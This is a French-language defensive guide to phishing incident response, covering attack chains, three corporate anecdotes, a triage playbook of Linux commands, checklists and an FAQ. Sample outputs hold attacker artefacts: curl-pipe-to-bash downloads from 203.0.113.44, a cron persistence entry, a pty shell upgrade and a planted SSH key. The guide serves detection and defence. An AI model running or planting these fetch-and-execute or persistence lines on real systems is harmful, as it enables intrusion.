Un clic de phishing : comment les entreprises deviennent la Une

Le chemin vers la une : clic → identifiants → mouvement → impact

Le phishing n’est pas « un problème d’e‑mail ». C’est un problème d’identité et d’autorisation qui commence par un e‑mail et se termine là où votre organisation accorde trop de confiance à l’identité.

La chaîne moderne du phishing ressemble généralement à l’une de ces options :

• Collecte d’identifiants : l’utilisateur saisit des identifiants sur une fausse page de connexion. L’attaquant les utilise immédiatement, souvent depuis une infrastructure cloud proche de votre région.
• Abus du consentement OAuth : l’utilisateur autorise une application malveillante (« Voir le document ») qui demande des permissions dans Microsoft 365/Google Workspace. Aucun mot de passe volé ; des jetons assurent le travail.
• Détournement de session : l’attaquant vole des cookies de session ou des jetons de rafraîchissement via des outils d’adversaire-au-milieu ou des malwares. Le MFA est contourné poliment.
• Exécution via pièce jointe : l’utilisateur lance un fichier qui installe un agent. Classique, mais toujours d’actualité. Le blocage des macros a aidé ; les attaquants sont passés à LNK, ISO, OneNote, HTML smuggling et des loaders « signés mais malveillants ».

Pourquoi un clic devient un incident pour l’entreprise

Parce que votre architecture interne a probablement au moins trois de ces « accélérateurs de une » :

1. Identités sur‑autorisées : l’utilisateur peut accéder à trop de choses ; les jetons de l’utilisateur peuvent accéder encore plus ; les comptes de service sont un roman d’horreur.
2. Réseaux plats : la segmentation existe sur une diapositive, pas sur le réseau.
3. Mauvaise détection : les logs manquent, ne sont pas centralisés ou ne sont pas consultables à 2 h du matin.
4. Lacunes de récupérabilité : des sauvegardes existent, mais le temps de restauration se mesure en « semaines + prières ».
5. Confiance accordée à l’e‑mail comme plan de contrôle : réinitialisations de mot de passe, approbations de factures, modifications des coordonnées bancaires — réalisées par e‑mail parce que « c’est plus rapide ».

Les attaquants n’ont pas besoin de sophistication si votre environnement est généreux. Ils empruntent le chemin le plus court vers l’argent : fraude aux factures, détournement de paie, ransomware, vol de données, extorsion.

Une citation à agrafer dans vos runbooks : « L’espoir n’est pas une stratégie. » — Gen. Gordon R. Sullivan. Vous ne pouvez pas compter sur le fait que vos utilisateurs ne cliqueront pas ; vous concevez des systèmes qui survivent quand ils cliquent.

Blague n°1 : Les e‑mails de phishing sont les seules demandes « urgentes » qui arrivent toujours juste après que vous ayez versé votre café. L’univers a un timing impeccable et zéro empathie.

Faits et contexte historique intéressants (la partie inconfortable)

• Le phishing n’est pas nouveau : le terme remonte aux arnaques d’AOL au milieu des années 1990 visant les identifiants. Ce qui a changé, c’est l’échelle et l’automatisation.
• Le MFA n’a pas tué le phishing : il a poussé les attaquants vers le détournement de session, la fatigue de push et l’abus du consentement OAuth — des contournements natifs à l’identité.
• Le compromission des e‑mails professionnels (BEC) est souvent « sans malware » : de nombreux cas impliquent seulement des identifiants volés et des règles de boîte aux lettres, ce qui signifie qu’un antivirus peut être parfaitement vert pendant que vos coordonnées bancaires changent discrètement.
• Les attaquants aiment « vivre sur place » : PowerShell, WMI, tâches planifiées et outils distants légitimes réduisent le besoin de binaires malveillants évidents.
• Les logs cloud sont devenus la nouvelle télémétrie périmétrique : événements de connexion, octrois de jetons et changements de règles de boîte aux lettres montrent souvent la première preuve réelle d’une compromission.
• Le DNS reste un maillon faible : domaines ressemblant à d’autres et domaines récemment enregistrés sont courants ; beaucoup d’environnements ne bloquent pas les domaines nouvellement observés par politique.
• Les groupes de ransomware se sont professionnalisés : la double extorsion (chiffrer + divulguer) est devenue un modèle économique ; le phishing est l’un des vecteurs d’accès initial les moins chers.
• L’authentification des e‑mails a évolué lentement : SPF et DKIM ont aidé, mais sans application stricte de DMARC, l’usurpation et les domaines ressemblants restent efficaces.
• Les sauvegardes sont devenues une cible : les attaquants cherchent systématiquement les consoles d’administration, les dépôts de sauvegarde et les droits de suppression de snapshots tôt dans l’intrusion.

Trois mini-récits des tranchées en entreprise

Mini-récit n°1 : L’incident provoqué par une fausse hypothèse

L’entreprise affichait « MFA partout ». C’était la phrase. Elle figurait dans les présentations du conseil et les questionnaires fournisseurs. L’équipe sécurité y croyait aussi, parce que pour les connexions interactives au portail SSO principal, le MFA était appliqué.

Un analyste financier a reçu un e‑mail convaincant de « document partagé ». Le lien renvoyait à une page de connexion via un reverse‑proxy. L’analyste a saisi ses identifiants et approuvé la notification MFA. L’attaquant a capturé le cookie de session et l’a immédiatement utilisé depuis une VM cloud propre. Pas de force brute. Pas d’alerte de « voyage impossible », car l’attaquant a utilisé un proxy dans une région proche de la victime.

La fausse hypothèse était subtile : « MFA signifie que l’attaquant ne peut pas se connecter. » En réalité, le MFA protégeait la cérémonie d’authentification, pas la session après. Une fois le jeton de session existant, l’attaquant l’a utilisé comme un ticket de voiturier volé.

Ils ont passé deux jours à chercher des malwares sur les postes. Il n’y en avait aucun. L’attaquant a modifié des règles de boîte aux lettres pour masquer les réponses, initié des changements de paiement fournisseurs et utilisé le compte pour phisher en interne. Le premier véritable indicateur a été un octroi de jeton OAuth suspect dans les logs d’identité — trouvé tard parce que ces logs n’étaient pas ingérés dans le SIEM. L’identité était la brèche ; les endpoints n’étaient que témoins.

Mini-récit n°2 : L’optimisation qui s’est retournée contre eux

Le service informatique voulait moins de tickets. Ils ont mis en place un flux « simplifié » de réinitialisation de mot de passe : les managers pouvaient approuver par e‑mail les réinitialisations pour leurs collaborateurs directs. Cela a réduit la charge du helpdesk et facilité l’onboarding. Tout le monde a applaudi. Automatisation ! Efficacité ! Moins d’humains !

Puis un manager senior a été phishé. L’attaquant n’avait pas besoin d’un accès admin. Il lui suffisait d’accéder à la boîte mail du manager. Avec elle, il a approuvé une réinitialisation de mot de passe pour un compte privilégié dans la chaîne du manager. L’attaquant a pris le contrôle du compte privilégié, puis l’a utilisé pour ajouter de nouvelles méthodes MFA, enregistrer de nouveaux appareils et créer un accès persistant.

Ce n’était pas une exploitation technique. C’était une exploitation de processus. L’« optimisation » avait fait de l’e‑mail un plan de contrôle. L’e‑mail n’est pas un plan de contrôle sécurisé ; c’est une carte postale qui arrive parfois.

La correction était ennuyeuse : supprimer les approbations de réinitialisation par e‑mail, exiger une vérification hors bande, appliquer la séparation des comptes privilégiés et ajouter des approbations basées sur un flux de travail dans un système authentifié avec pistes d’audit. Oui, cela a recréé des tickets. Les tickets coûtent moins cher que la une.

Mini-récit n°3 : La pratique ennuyeuse mais correcte qui a sauvé la mise

Une entreprise SaaS de taille moyenne avait l’habitude, peu glamour, de tester les restaurations chaque trimestre. Pas « on a vérifié que la tâche de sauvegarde a réussi ». De vraies restaurations dans un environnement isolé. Ils traitaient le temps de restauration comme un SLO.

Quand un développeur a cliqué sur un phish qui a mené à une compromission d’endpoint, l’attaquant a finalement atteint le cluster de virtualisation et a tenté de chiffrer des partages de fichiers. Ils ont aussi essayé d’accéder au système de sauvegarde, mais il nécessitait des identifiants séparés, appliquait le MFA et vivait dans un réseau de gestion avec des règles de pare‑feu strictes. Les snapshots étaient immuables pendant une fenêtre de rétention. La suppression demandait une seconde approbation et un rôle d’admin différent.

L’attaquant a quand même causé des dégâts : certains partages ont été chiffrés et quelques systèmes devaient être reconstruits. Mais la récupération s’est mesurée en heures, pas en semaines. Ils ont restauré des données propres, fait tourner les identifiants et utilisé l’incident pour durcir les politiques d’accès conditionnel.

Rien d’ostentatoire. C’étaient des contrôles qui ne se prêtaient pas bien aux démonstrations. Et ça a fonctionné, parce que la fiabilité est surtout l’art d’être peu intéressant à grande échelle.

Blague n°2 : La seule chose qui monte plus vite que les ressources cloud, c’est la confiance de quelqu’un qui vient juste de cliquer sur « Enable content ».

Playbook de diagnostic rapide : trouver le goulot en minutes

Vous êtes d’astreinte. Quelqu’un signale un e‑mail suspect et « j’ai saisi mon mot de passe ». Ou vous voyez un pic d’échecs de connexion, ou un virement financier semble erroné. L’objectif n’est pas l’attribution parfaite. L’objectif est d’arrêter l’hémorragie rapidement, puis de comprendre ce qui s’est passé.

Premières 15 minutes : stopper la propagation, préserver les preuves

1. Identifiez l’utilisateur et la fenêtre temporelle : récupérez l’adresse du destinataire, l’heure du clic, l’appareil utilisé et si des identifiants ont été saisis ou un MFA approuvé.
2. Désactivez la connexion ou forcez la révocation des jetons : verrouillez l’identité avant de chasser les endpoints.
3. Vérifiez les règles et transferts de boîte aux lettres : c’est là que le BEC se cache.
4. Scopez les connexions : nouvelles IP, nouveaux appareils, nouveaux agents utilisateurs, nouveaux pays/ASN, connexions aux portails admin.
5. Recherchez les octrois d’app OAuth : le « consentement » peut être une persistance.

Les 60 minutes suivantes : déterminer le rayon d’impact

1. Vérifiez le mouvement latéral : nouvelles clés SSH, nouveaux admins locaux, nouvelles tâches planifiées, événements RDP, usage inhabituel de WinRM.
2. Vérifiez les systèmes privilégiés : comptes admin d’identité, consoles de sauvegarde, gestion d’hyperviseur, coffres de mots de passe.
3. Vérifiez l’egress : connexions sortantes inhabituelles, transferts de données, gros téléchargements depuis des stockages de fichiers.
4. Chassez l’e‑mail de phishing : qui l’a reçu, qui a cliqué, qui a saisi des identifiants.

Troisième phase : récupération et durcissement

1. Faites tourner les identifiants : mots de passe utilisateurs, clés API, secrets de comptes de service et tous les jetons que vous pouvez invalider.
2. Reconstruisez si nécessaire : ne « nettoyez » pas d’hôtes compromis critiques sauf si vous avez une expertise forensique mature et une raison.
3. Corrigez le contrôle qui a failli : politique DMARC, accès conditionnel, séparation des admins, segmentation réseau, immutabilité des sauvegardes.
4. Rédigez le post‑mortem comme un ingénieur : chronologie, lacune de détection, actions de confinement et une courte liste de changements qui seront effectivement réalisés.

Tâches pratiques avec commandes : vérifier, décider, agir

Voici des vérifications pratiques que vous pouvez exécuter pendant le triage. Chacune inclut ce que signifie la sortie et la décision à prendre. Ajustez les noms d’hôtes, les noms d’utilisateur et les chemins à votre environnement.

Tâche 1 : Confirmer si la machine de l’utilisateur effectue des connexions sortantes suspectes (Linux)

cr0x@server:~$ sudo ss -tpn state established | head -n 12
ESTAB 0 0 10.20.5.34:48212 104.21.14.55:443 users:(("chrome",pid=2314,fd=123))
ESTAB 0 0 10.20.5.34:48244 203.0.113.44:443 users:(("curl",pid=2891,fd=3))
ESTAB 0 0 10.20.5.34:39510 10.20.0.15:389 users:(("sssd",pid=1120,fd=14))

Ce que ça signifie : vous recherchez des processus inattendus parlant à Internet (par ex. curl, python, binaires inconnus) ou des destinations rares. La connexion LDAP est normale ; le curl vers une IP publique peut ne pas l’être.

Décision : si vous voyez des processus ou destinations suspects, isolez l’hôte (confinement réseau EDR ou quarantaine pare‑feu) et capturez les détails des processus avant de tuer quoi que ce soit.

Tâche 2 : Vérifier l’historique de résolution DNS via systemd-resolved (Linux)

cr0x@server:~$ sudo journalctl -u systemd-resolved --since "2 hours ago" | grep -E "query|reply" | tail -n 8
Jan 22 09:14:02 host systemd-resolved[713]: Using degraded feature set UDP instead of TCP for DNS server 10.20.0.53.
Jan 22 09:18:11 host systemd-resolved[713]: Querying A phishing-docs-login.com IN A on 10.20.0.53
Jan 22 09:18:11 host systemd-resolved[713]: Reply received from 10.20.0.53 for phishing-docs-login.com IN A: 203.0.113.44

Ce que ça signifie : une requête récente pour un domaine suspect, et l’IP résolue. C’est souvent votre pivot pour les logs de proxy et les blocages pare‑feu.

Décision : bloquez le domaine et l’IP résolue au niveau DNS/proxy, puis recherchez d’autres clients qui l’ont interrogé.

Tâche 3 : Déterminer si l’hôte a récemment téléchargé et exécuté un fichier (l’historique bash n’est pas une preuve, mais un indice)

cr0x@server:~$ sudo grep -R "curl\|wget\|bash -c" /home/*/.bash_history 2>/dev/null | tail -n 5
/home/alex/.bash_history:curl -fsSL http://203.0.113.44/a.sh | bash

Ce que ça signifie : quelqu’un a exécuté une commande classique « pipe to bash ». C’est soit un attaquant soit un développeur ayant une très mauvaise journée.

Décision : traiter comme compromis. Isolez l’hôte, acquérez des artefacts forensiques et commencez la rotation des identifiants pour tous les secrets accessibles depuis cet hôte.

Tâche 4 : Trouver des ajouts récents d’admin locaux (Linux)

cr0x@server:~$ sudo journalctl --since "24 hours ago" | grep -E "useradd|usermod|groupadd|gpasswd" | tail -n 10
Jan 21 23:10:07 host usermod[8123]: add 'alex' to group 'sudo'

Ce que ça signifie : un utilisateur a été ajouté à sudo. C’est un indicateur d’élévation de privilèges si c’est inattendu.

Décision : vérifiez le ticket de changement. Si aucune raison légitime, retirez l’appartenance, faites tourner les identifiants et élargissez la chasse pour événements similaires.

Tâche 5 : Vérifier les authorized_keys SSH pour des ajouts inattendus (Linux)

cr0x@server:~$ sudo find /home -maxdepth 2 -name authorized_keys -type f -exec ls -l {} \; -exec tail -n 2 {} \;
-rw------- 1 alex alex 392 Jan 22 09:20 /home/alex/.ssh/authorized_keys
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP0F... attacker@vm

Ce que ça signifie : une nouvelle clé SSH ajoutée récemment est un mécanisme de persistance courant.

Décision : supprimez la clé, vérifiez les logs d’authentification pour des connexions utilisant cette clé et faites tourner toute clé ou jeton stocké dans ce répertoire home.

Tâche 6 : Inspecter les logs d’authentification pour des connexions SSH anormales (Linux)

cr0x@server:~$ sudo grep "Accepted" /var/log/auth.log | tail -n 6
Jan 22 09:22:31 host sshd[9211]: Accepted publickey for alex from 203.0.113.44 port 51322 ssh2: ED25519 SHA256:Qm...

Ce que ça signifie : connexion réussie depuis une IP publique. Si cet hôte devrait être interne uniquement, c’est critique.

Décision : bloquez l’IP source, vérifiez l’exposition pare‑feu, faites tourner les clés utilisateur et inspectez les commandes exécutées après la connexion (historique shell, auditd, process accounting).

Tâche 7 : Trouver des tâches planifiées / cron suspectes (Linux)

cr0x@server:~$ sudo crontab -l
*/5 * * * * /usr/bin/curl -fsSL http://203.0.113.44/.x | /bin/bash

Ce que ça signifie : persistance. Et de l’audace.

Décision : supprimez l’entrée cron, isolez l’hôte et recherchez à l’échelle du parc des patterns similaires.

Tâche 8 : Identifier les processus suspects et leur chaîne parente (Linux)

cr0x@server:~$ ps -eo pid,ppid,user,cmd --sort=-lstart | tail -n 8
2891 2314 alex curl -fsSL http://203.0.113.44/a.sh
2893 2891 alex /bin/bash
2899 2893 alex python3 -c import pty;pty.spawn("/bin/bash")

Ce que ça signifie : un téléchargement via curl lançant bash, qui engendre Python et un TTY. C’est un workflow d’attaquant interactif typique.

Décision : capturez la mémoire/détails des processus si vous disposez d’outils ; sinon isolez et reconstruisez. Ne « titillez » pas l’attaquant pour le plaisir en production.

Tâche 9 : Vérifier les connexions sortantes suspectes au pare‑feu (exemple pfSense via logs sur un hôte syslog)

cr0x@server:~$ sudo grep "block" /var/log/pfsense.log | grep "203.0.113.44" | tail -n 5
Jan 22 09:25:10 fw filterlog: 5,,,1000000103,igb1,match,block,in,4,0x0,,64,0,0,DF,6,tcp,60,10.20.5.34,203.0.113.44,48244,443,0,S,123456789,,64240,,mss;sackOK;TS;nop;wscale

Ce que ça signifie : un événement de blocage confirme que l’hôte a tenté de se connecter à une IP suspecte. Si vous voyez des allow, c’est pire.

Décision : si le trafic est autorisé, ajoutez une règle de blocage et vérifiez les logs du proxy pour des téléchargements de payload. Si bloqué, poursuivez l’investigation hôte — les tentatives comptent toujours.

Tâche 10 : Vérifier l’état de la politique DMARC pour votre domaine (requête DNS)

cr0x@server:~$ dig +short TXT _dmarc.example.com
"v=DMARC1; p=none; rua=mailto:dmarc-reports@example.com; ruf=mailto:dmarc-fail@example.com; fo=1"

Ce que ça signifie : p=none n’est qu’en mode surveillance. Vous portez un casque mais vous n’êtes pas attaché.

Décision : planifiez une migration progressive vers p=quarantine puis p=reject après avoir validé les expéditeurs légitimes. Suivez les faux positifs avant d’appliquer.

Tâche 11 : Vérifier les transferts inattendus dans Postfix (côté serveur)

cr0x@server:~$ sudo postconf -n | grep -E "smtpd_sender_restrictions|smtpd_recipient_restrictions"
smtpd_sender_restrictions = reject_unknown_sender_domain
smtpd_recipient_restrictions = permit_mynetworks,reject_unauth_destination

Ce que ça signifie : cela valide les restrictions du serveur ; cela n’affichera pas les règles par utilisateur (qui vivent dans votre plateforme mail). Mais ça vous dit si votre MTA est un relais ouvert ou permissif.

Décision : si vous voyez un comportement de relais permissif, corrigez immédiatement. Si la config serveur est saine, concentrez‑vous sur les règles de boîte cloud et les logs d’identité.

Tâche 12 : Confirmer que les sauvegardes sont restaurables et ne tombent pas silencieusement en échec (exemple ZFS)

cr0x@server:~$ sudo zpool status -x
all pools are healthy

Ce que ça signifie : le pool indique qu’il est sain. C’est nécessaire, pas suffisant ; un pool « sain » peut quand même contenir des fichiers chiffrés si vous avez sauvegardé des fichiers chiffrés.

Décision : si c’est unhealthy, corrigez le stockage en priorité. Si c’est healthy, vérifiez la présence de snapshots et effectuez un test de restauration.

Tâche 13 : Vérifier une rétention « immutable-ish » via les snapshots ZFS (existence et âge)

cr0x@server:~$ sudo zfs list -t snapshot -o name,creation -s creation | tail -n 5
tank/backups@auto-2026-01-22_0900  Wed Jan 22 09:00 2026
tank/backups@auto-2026-01-22_1000  Wed Jan 22 10:00 2026

Ce que ça signifie : vous avez des snapshots récents. Si les snapshots s’arrêtent ou manquent, les attaquants ont peut‑être touché la planification — ou vous avez un problème de fiabilité ennuyeux qui devient une question de sécurité.

Décision : si les snapshots existent et sont protégés (contrôles d’accès !), planifiez des restaurations à partir d’un snapshot antérieur à la compromission. Si elles manquent, supposez un risque d’intégrité des sauvegardes et escaladez.

Tâche 14 : Tester une restauration réelle pour valider l’utilisabilité des sauvegardes (clone ZFS)

cr0x@server:~$ sudo zfs clone tank/backups@auto-2026-01-22_0900 tank/restore-test

cr0x@server:~$ sudo ls -lah /tank/restore-test | head -n 5
total 24K
drwxr-xr-x  6 root root  6 Jan 22 09:00 .
drwxr-xr-x  3 root root  3 Jan 22 10:12 ..
-rw-r--r--  1 root root 12K Jan 22 08:58 accounts.db

Ce que ça signifie : vous pouvez matérialiser une vue point‑dans‑le‑temps sans modifier le snapshot original. C’est précisément ainsi que vous réduisez la panique lors d’une récupération après ransomware.

Décision : si la restauration fonctionne, vous avez une voie de récupération viable. Si elle échoue, vous n’avez pas de sauvegardes — vous avez de l’optimisme stocké sur disque.

Tâche 15 : Repérer un fort churn disque soudain pouvant indiquer une activité de chiffrement (Linux)

cr0x@server:~$ iostat -xm 1 3
Linux 6.5.0 (fileserver)  01/22/2026  _x86_64_ (8 CPU)

Device            r/s     w/s   rMB/s   wMB/s  avgrq-sz avgqu-sz   await  %util
nvme0n1          5.00  820.00    0.20  110.50    270.0     7.20    8.60  98.00

Ce que ça signifie : des écritures séquentielles lourdes avec une forte utilisation peuvent être des sauvegardes… ou un chiffrement de masse. Le contexte compte : quel processus écrit ?

Décision : corrélez avec l’I/O des processus (tâche suivante). Si c’est inattendu, isolez l’hôte ou révoquez immédiatement l’accès aux partages.

Tâche 16 : Identifier quel processus écrase le disque (Linux)

cr0x@server:~$ sudo iotop -b -n 1 | head -n 12
Total DISK READ: 0.00 B/s | Total DISK WRITE: 120.00 M/s
  PID  PRIO  USER     DISK READ  DISK WRITE  SWAPIN  IO>  COMMAND
 8122 be/4   www-data    0.00 B/s  95.00 M/s  0.00 %  99.00 %  /usr/bin/python3 /tmp/enc.py

Ce que ça signifie : un script suspect écrit à haut débit. C’est votre preuve accablante.

Décision : contenez maintenant. Tuez le processus après avoir capturé des artefacts si vous pouvez le faire en toute sécurité. Préférez l’isolation réseau et le snapshot des volumes pour les forensiques quand c’est possible.

Erreurs courantes : symptômes → cause racine → correction

1) « Nous avons le MFA, donc pas de compromission de compte »

Symptômes : approbations MFA légitimes mais connexions suspectes ; les utilisateurs insistent sur « j’ai fait MFA une fois puis rien ».

Cause racine : détournement de session / vol de jetons, ou octrois OAuth qui créent des accès longue durée.

Correction : appliquer un MFA résistant au phishing pour les utilisateurs à risque élevé (FIDO2/WebAuthn), réduire la durée des sessions, utiliser l’accès conditionnel (conformité appareil, évaluation de risque), alerter sur les nouveaux octrois OAuth et les anomalies de jetons.

2) « Aucun malware trouvé, donc tout va bien »

Symptômes : fraude financière, règles de boîte aux lettres cachées, conversations e‑mail étranges, mais les endpoints sont propres.

Cause racine : le BEC est souvent purement lié à l’identité ; l’attaquant vit dans le cloud mail et utilise des règles/transferts pour se cacher.

Correction : inspecter les règles de boîte, les paramètres de transfert, les applications OAuth, l’historique de connexion et les logs d’activité admin. Traitez la télémétrie d’identité comme des données de sécurité de première classe.

3) « Nous avons bloqué le domaine ; incident clos »

Symptômes : la sécurité clôture après avoir ajouté un bloc DNS ; des semaines plus tard, un autre compte montre un comportement similaire.

Cause racine : le domaine de phishing n’était que la rampe d’accès. Les identifiants/jetons sont déjà volés. De plus, les attaquants changent rapidement de domaines.

Correction : forcer la réinitialisation des identifiants, révoquer les sessions, revoir les règles de boîte, et chasser les destinataires/clickeurs liés. Concentrez‑vous sur les identités et les mécanismes de persistance.

4) « Nos sauvegardes sont bonnes ; les jobs sont au vert »

Symptômes : lors de la restauration, échecs ou lenteurs ; l’accès à la console de sauvegarde est étonnamment facile.

Cause racine : pas de test de restauration, pas d’immuabilité, l’admin des sauvegardes partage le plan d’administration avec la production, ou les identifiants de sauvegarde sont réutilisés.

Correction : implémenter une rétention immuable (si possible), séparer les comptes admin de sauvegarde, isoler les réseaux de sauvegarde et exécuter des exercices de restauration avec un RTO mesuré.

5) « On peut juste nettoyer l’hôte »

Symptômes : ré‑infection, callbacks répétés, réapparition de tâches planifiées ou d’éléments de démarrage.

Cause racine : persistance non supprimée ; identifiants réutilisés ; l’attaquant a toujours un accès identité.

Correction : privilégier la reconstruction pour les systèmes de grande valeur ; faire tourner massivement les identifiants ; valider l’IAM et les jetons ; ré‑imagez les endpoints utilisés pour des actions privilégiées.

6) « La segmentation est trop difficile ; on le fera plus tard »

Symptômes : la compromission d’un utilisateur donne accès aux partages de fichiers, aux réseaux de gestion et aux systèmes de sauvegarde.

Cause racine : réseau plat et chemins admin partagés ; confiance implicite en interne.

Correction : segmenter les plans de gestion, appliquer des jump hosts, restreindre le trafic est‑ouest et exiger des identités privilégiées séparées.

Listes de contrôle / plan étape par étape

Checklist de confinement (même jour)

1. Désactivez la connexion de l’utilisateur affecté et révoquez les sessions/jetons dans votre fournisseur d’identité.
2. Réinitialisez le mot de passe de l’utilisateur et tous les facteurs de récupération liés ; supprimez les nouvelles méthodes MFA ajoutées.
3. Inspectez et supprimez le transfert de boîte, les règles de boîte, l’accès délégué et les consentements d’app OAuth suspects.
4. Recherchez l’e‑mail de phishing dans les boîtes ; mettez‑le en quarantaine ; identifiez les autres destinataires et clickers.
5. Isolez l’endpoint s’il y a le moindre signe d’exécution, de persistance ou de trafic sortant inhabituel.
6. Bloquez les domaines/IP associés à l’infrastructure de phishing aux niveaux DNS/proxy/pare‑feu.
7. Vérifiez les systèmes privilégiés : portails admin, consoles de sauvegarde, hyperviseurs, logs d’accès des coffres de mots de passe.
8. Commencez une chronologie : premier clic, première connexion suspecte, premier changement de politique, premier accès aux données.

Checklist d’éradication (cette semaine)

1. Faites tourner les identifiants des systèmes exposés : clés API, comptes de service, clés SSH, mots de passe de base de données.
2. Supprimez les persistances non autorisées : tâches cron, tâches planifiées, éléments de démarrage, nouveaux utilisateurs admin, clés SSH.
3. Reconstruisez les hôtes compromis ; validez les images gold ; corrigez les vulnérabilités de base.
4. Chassez l’activité liée sur l’ensemble du parc (mêmes domaines, mêmes IP, mêmes IDs d’app OAuth, mêmes patterns d’agent utilisateur).
5. Confirmez que les sauvegardes sont intactes et restaurables ; effectuez un test de restauration isolé depuis un snapshot pré‑incident.

Checklist de durcissement (ce trimestre)

1. Faire évoluer DMARC de p=none vers l’application en étapes ; inventariez d’abord les expéditeurs légitimes.
2. Exiger un MFA résistant au phishing pour les admins et la finance ; réduire la durée des sessions pour les rôles à risque.
3. Séparer les comptes privilégiés : pas d’e‑mail, pas de navigation, pas de Slack, pas d’utilisation « daily driver ».
4. Implémenter l’accès conditionnel : conformité des appareils, risque de localisation, alertes de voyage impossible et protection des jetons lorsque disponible.
5. Segmenter les réseaux : isolation du plan de gestion, restreindre SMB/RDP/SSH et filtrage d’egress par rôle.
6. Protéger les sauvegardes : plan d’administration séparé, rétention immuable et contrôles de suppression nécessitant un rôle différent.
7. Centraliser les logs : connexions d’identité, changements de boîte aux lettres, événements endpoint, proxy/DNS et actions admin de sauvegarde.
8. Organiser des exercices d’incident : table‑top plus au moins un exercice pratique « désactiver un utilisateur + révoquer les jetons + restaurer des données ».

FAQ

1) Si un utilisateur a cliqué mais n’a pas saisi d’identifiants, est‑ce toujours un incident ?

Peut‑être. Un clic peut encore déclencher des téléchargements à la volée, des invites de consentement OAuth ou des chaînes de redirection. Traitez‑le comme un incident potentiel : vérifiez les connexions, la télémétrie endpoint et si un fichier a été téléchargé ou exécuté.

2) Quelle est la première action sur le compte après une saisie confirmée d’identifiants ?

Révoquer les sessions/jetons et désactiver la connexion (temporairement). Une réinitialisation de mot de passe seule peut laisser des sessions actives. Vous voulez couper l’accès en direct d’abord, puis faire tourner les identifiants.

3) Pourquoi les attaquants modifient‑ils les règles de boîte aux lettres ?

Pour se cacher. Ils archivage automatique des réponses, transfèrent des fils vers des boîtes externes ou suppriment des messages contenant des mots‑clés comme « facture », « virement » ou « paiement ». C’est low‑tech, à fort impact et persistant.

4) Le DMARC empêche‑t‑il le phishing ?

Il empêche certaines usurpations de votre domaine exact lorsqu’il est appliqué. Il n’empêche pas les domaines ressemblants, les comptes fournisseurs compromis ou les domaines contrôlés par l’attaquant. Cela dit : appliquez‑le. C’est le minimum et ça réduit l’utilisation de votre marque comme arme.

5) Pourquoi les programmes « MFA partout » se font encore compromettre ?

Parce que tous les MFA ne se valent pas, et les sessions ont de la valeur. Les notifications push peuvent être fatiguées, proxifiées ou contournées avec des jetons volés. Le MFA résistant au phishing, combiné à l’accès conditionnel et à des sessions courtes, change matériellement l’économie de l’attaquant.

6) Faut‑il isoler immédiatement l’endpoint ?

Si vous observez le moindre signe d’exécution, de persistance ou de connexions sortantes suspectes, oui. Si c’est strictement du vol d’identifiants sans signes endpoint, concentrez‑vous d’abord sur le confinement d’identité — puis inspectez l’endpoint sans perturber inutilement les preuves.

7) Quand reconstruire plutôt que nettoyer un hôte ?

Reconstruisez lorsque l’hôte est privilégié, exposé à Internet ou montre des signes d’outils/persistances d’attaquant. « Nettoyer » peut convenir pour des endpoints à faible risque si vous avez un EDR solide et une contention vérifiée, mais reconstruire coûte souvent moins cher que l’incertitude.

8) Les sauvegardes ont‑elles un rôle spécifique dans le phishing ?

Le phishing est souvent l’accès initial qui mène au ransomware. Le ransomware est un incident de disponibilité. Si les sauvegardes ne sont pas immuables, segmentées et testées, votre plan de récupération devient un plan de relations publiques.

9) Quelle est la source de logs la plus négligée lors d’une réponse au phishing ?

Les logs d’audit du fournisseur d’identité et de l’administration e‑mail : connexions, octrois de jetons, changements de règles de boîte, transferts et affectations de rôles admin. C’est là où l’attaquant vit quand il reste « discret ».

Conclusion : prochaines étapes à faire cette semaine

Si vous voulez moins de une, arrêtez de traiter le phishing comme un problème de formation utilisateur. La formation aide, mais l’architecture gagne. Le clic est inévitable ; la catastrophe est optionnelle.

Faites ceci ensuite :

• Rendez les logs d’identité non optionnels : ingérez les connexions, les octrois de jetons et les événements d’audit des boîtes dans votre journal central pour pouvoir répondre rapidement à « que s’est‑il passé ? »
• Durcissez les rôles qui déplacent l’argent et détiennent des clés : la finance, les admins et les opérateurs de sauvegarde obtiennent un MFA résistant au phishing et des sessions plus courtes.
• Corrigez le problème d’autorité de l’e‑mail : arrêtez d’approuver des actions à haut risque par e‑mail. Déplacez les approbations dans des systèmes authentifiés avec fortes pistes d’audit.
• Prouvez vos restaurations : exécutez au moins un test de restauration depuis un snapshot connu bon et chronométrez‑le. Si vous ne pouvez pas restaurer rapidement, vous ne pouvez pas récupérer — seulement négocier.
• Rédigez un playbook d’une page : désactiver utilisateur, révoquer jetons, vérifier règles de boîte, chasser les destinataires, isoler endpoints. Faites‑le exécutable par qui que ce soit qui soit réveillé.

Le phishing ne disparaîtra pas. Mais vous pouvez faire en sorte qu’« un clic » soit un ticket, pas une prise de contrôle. C’est la différence entre un rapport d’incident interne et un cycle médiatique avec votre logo dessus.